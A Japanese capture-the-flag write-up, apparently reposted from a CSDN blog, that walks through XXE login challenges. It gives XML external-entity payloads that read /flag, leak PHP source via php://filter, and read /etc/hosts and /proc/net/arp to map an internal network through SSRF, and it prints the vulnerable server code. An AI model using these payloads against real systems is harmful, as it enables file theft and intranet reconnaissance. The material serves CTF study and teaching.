CTFXXE脆弱性攻撃

偽のXMLクックブック

F12ソースコードの表示:

function doLogin(){
    
    
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
    
    
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
    
    
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
    
    
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
    
    
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
    
    
        		$(".msg").text(msg + " login success!");
        	}else{
    
    
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
    
    
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

送信されたデータがxmlタイプであることがわかります
ここに画像の説明を挿入

ペイロードをヒットします:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>111</password></user>

真のXMLクックブック

最初に/ flagファイルを直接読み取ろうとすると、エラーメッセージがエコーされますが、doLoginファイルを読み取ることができることがわかります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>

ソースコードを取得します。

//doLogin.php
<?php\n/**
* autor: c0ny1\n* date: 2018-2-7
*/

$USERNAME = 'admin'; //\xe8\xb4\xa6\xe5\x8f\xb7
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //\xe5\xaf\x86\xe7\xa0\x81
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
    
    
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
    
    
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
    
    
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
    
    
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

最後に、ssrfを使用してイントラネットファイルを読み取ります。

// /etc/hosts
127.0.0.1	localhost
::1		localhost ip6-localhost ip6-loopback
fe00::0		ip6-localnet
ff00::0		ip6-mcastprefix
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters
173.17.80.9		osrc

イントラネットIP、173.17.80.9

// /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
173.17.80.2      0x1         0x2         02:42:ad:11:50:02     *        eth0
173.17.80.12     0x1         0x2         02:42:ad:11:50:0c     *        eth0

最後に、フラグを取得するために173.17.80.10を試しました
ここに画像の説明を挿入

ISCCの未知のリスク-1

前は、ユーザーユーザーを偽造するための秘密鍵123456を取得するためのjwtブラストです。たとえば、上記の2つの質問に似たログインボックスがあり、doLogin()メソッドは同じで、フラグがあります。質問のルートディレクトリにある.php。xxeを使用してファイルを読み取る

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php">
]>
<user><username>&file;</username><password>1</password></user>

ここに画像の説明を挿入

これはApacheのデフォルトのルートディレクトリであるため、/ var / www / htmlを読み取ります。

base64デコード
ここに画像の説明を挿入

参照

(忘れた)一致の2つのXML

おすすめ

転載: blog.csdn.net/zss192/article/details/105974121